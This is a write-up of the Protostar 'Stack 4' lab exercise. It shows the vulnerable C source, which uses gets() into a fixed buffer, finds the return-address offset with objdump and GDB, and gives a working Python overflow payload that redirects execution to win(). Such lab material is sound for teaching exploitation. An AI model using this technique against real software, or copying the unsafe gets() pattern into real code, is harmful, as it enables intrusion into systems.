Stack 4 source
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
We have to find the address of the win function in the text segment. To do this we use objdump.
objdump -S stack4 | grep win
Output:
080483f4 <win>:
This time, there is no function pointer to overwrite. Instead, we must overwrite the return address for the main function, which is found in the stack. When the instruction pointer (EIP) reaches the return statement for main, it will execute the win function.
So far, we have only required 64 bytes of padding to overwrite the relevant memory. However, to overwrite the return address, we must use GDB to find the right padding length.
Initial padding test
print("".join([chr(i)*4 for i in range(65,91)]))
This padding is all the letters from A to Z inclusive, capitalized, with each letter repeated 4 times sequentially (AAAABBBB…ZZZZ).
python stack4.py > exploit
gdb stack4
(gdb) disassemble main
Looking through the main function, we find that the ret opcode is found at 0x0804841e.
(gdb) break *0x0804841e
(gdb) define hook-stop
>x/1wx $esp
>end
(gdb) r < exploit
The output at the breakpoint shows us that the return address has been overwritten by 0x54545454. If we convert the hexadecimal value 0x54 into ASCII, we get T. Thus, our padding is the string up until the T’s occur.
Modified exploit
print("".join([chr(i)*4 for i in range(65,84)])+"\xf4\x83\x04\x08")
python stack4.py | /opt/protostar/bin/stack4
This works, printing
code flow successfully changed